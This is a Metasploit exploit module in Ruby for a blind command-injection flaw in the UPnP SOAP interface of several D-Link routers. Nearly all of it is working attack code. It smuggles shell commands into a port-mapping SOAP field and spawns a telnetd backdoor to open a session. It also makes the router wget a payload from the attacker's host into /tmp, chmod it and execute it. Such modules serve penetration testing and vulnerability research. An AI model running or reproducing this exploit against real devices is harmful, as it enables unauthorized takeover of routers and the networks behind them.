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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Auxiliary::CommandShell def initialize(info = {}) super(update_info(info, 'Name'=> 'D-Link Devices UPnP SOAP Command Execution', 'Description' => %q{ Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability, there is no output for the executed command when using the CMD target. Additionally, two targets are included, to start a telnetd service and establish a session over it, or deploy a native mipsel payload. This module has been tested successfully on DIR-300, DIR-600, DIR-645, DIR-845 and DIR-865. According to the vulnerability discoverer, more D-Link devices may affected. }, 'Author'=> [ 'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, 'References'=> [ [ 'OSVDB', '94924' ], [ 'BID', '61005' ], [ 'EDB', '26664' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ] ], 'DisclosureDate' => 'Jul 05 2013', 'Privileged' => true, 'Platform' => ['linux','unix'], 'Payload'=> { 'DisableNops' => true, }, 'Targets'=> [ [ 'CMD',#all devices { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ], [ 'Telnet',#all devices - default target { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ], [ 'Linux mipsel Payload',#DIR-865, DIR-645 and others with wget installed { 'Arch' => ARCH_MIPSLE, 'Platform' => 'linux' } ], ], 'DefaultTarget'=> 1 )) register_options( [ Opt::RPORT(49152),#port of UPnP SOAP webinterface OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]), ], self.class) end def exploit @new_portmapping_descr = rand_text_alpha(8) @new_external_port = rand(65535) @new_internal_port = rand(65535) if target.name =~ /CMD/ exploit_cmd elsif target.name =~ /Telnet/ exploit_telnet else exploit_mips end end def exploit_cmd if not (datastore['CMD']) fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded type = "add" res = request(cmd, type) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") type = "delete" res = request(cmd, type) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end return end def exploit_telnet telnetport = rand(65535) vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") cmd = "telnetd -p #{telnetport}" type = "add" res = request(cmd, type) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end type = "delete" res = request(cmd, type) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end begin sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) if sock print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...") add_socket(sock) else fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}" auth_info = { :host => rhost, :port => telnetport, :sname => 'telnet', :user => "", :pass=> "", :source_type => "exploit", :active => true } report_auth_info(auth_info) merge_me = { 'USERPASS_FILE' => nil, 'USER_FILE' => nil, 'PASS_FILE' => nil, 'USERNAME'=> nil, 'PASSWORD'=> nil } start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock) rescue fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end return end def exploit_mips downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) #thx to Juan for his awesome work on the mipsel elf support @pl = generate_payload_exe @elf_sent = false # # start our server # resource_uri = '/' + downfile if (datastore['DOWNHOST']) service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else #do not use SSL if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end #we use SRVHOST as download IP for the coming wget command. #SRVHOST needs a real IP address of our download host if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }}) datastore['SSL'] = true if ssl_restore end # # download payload # print_status("#{rhost}:#{rport} - Asking the DLink device to take and execute #{service_url}") #this filename is used to store the payload on the device filename = rand_text_alpha_lower(8) cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}" type = "add" res = request(cmd, type) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # wait for payload download if (datastore['DOWNHOST']) print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the DLink device to download the payload") select(nil, nil, nil, datastore['HTTP_DELAY']) else wait_linux_payload end register_file_for_cleanup("/tmp/#{filename}") type = "delete" res = request(cmd, type) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end end def request(cmd, type) uri = '/soap.cgi' data_cmd = "<?xml version=\"1.0\"?>" data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" data_cmd << "<SOAP-ENV:Body>" if type == "add" vprint_status("#{rhost}:#{rport} - adding portmapping") soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" data_cmd << "<NewPortMappingDescription>#{@new_portmapping_descr}</NewPortMappingDescription>" data_cmd << "<NewLeaseDuration></NewLeaseDuration>" data_cmd << "<NewInternalClient><code>#{cmd}</code></NewInternalClient>" data_cmd << "<NewEnabled>1</NewEnabled>" data_cmd << "<NewExternalPort>#{@new_external_port}</NewExternalPort>" data_cmd << "<NewRemoteHost></NewRemoteHost>" data_cmd << "<NewProtocol>TCP</NewProtocol>" data_cmd << "<NewInternalPort>#{@new_internal_port}</NewInternalPort>" data_cmd << "</m:AddPortMapping>" else #we should clean it up ... otherwise we are not able to exploit it multiple times vprint_status("#{rhost}:#{rport} - deleting portmapping") soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping" data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{@new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>" data_cmd << "</m:DeletePortMapping>" end data_cmd << "</SOAP-ENV:Body>" data_cmd << "</SOAP-ENV:Envelope>" begin res = send_request_cgi({ 'uri'=> uri, 'vars_get' => { 'service' => 'WANIPConn1' }, 'ctype' => "text/xml", 'method' => 'POST', 'headers' => { 'SOAPAction' => soapaction, }, 'data' => data_cmd }) return res rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") return nil end end # Handle incoming requests from the server def on_request_uri(cli, request) #print_status("on_request_uri called: #{request.inspect}") if (not @pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("#{rhost}:#{rport} - Sending the payload to the server...") @elf_sent = true send_response(cli, @pl) end # wait for the data to be sent def wait_linux_payload print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...") waited = 0 while (not @elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?") end end end end |
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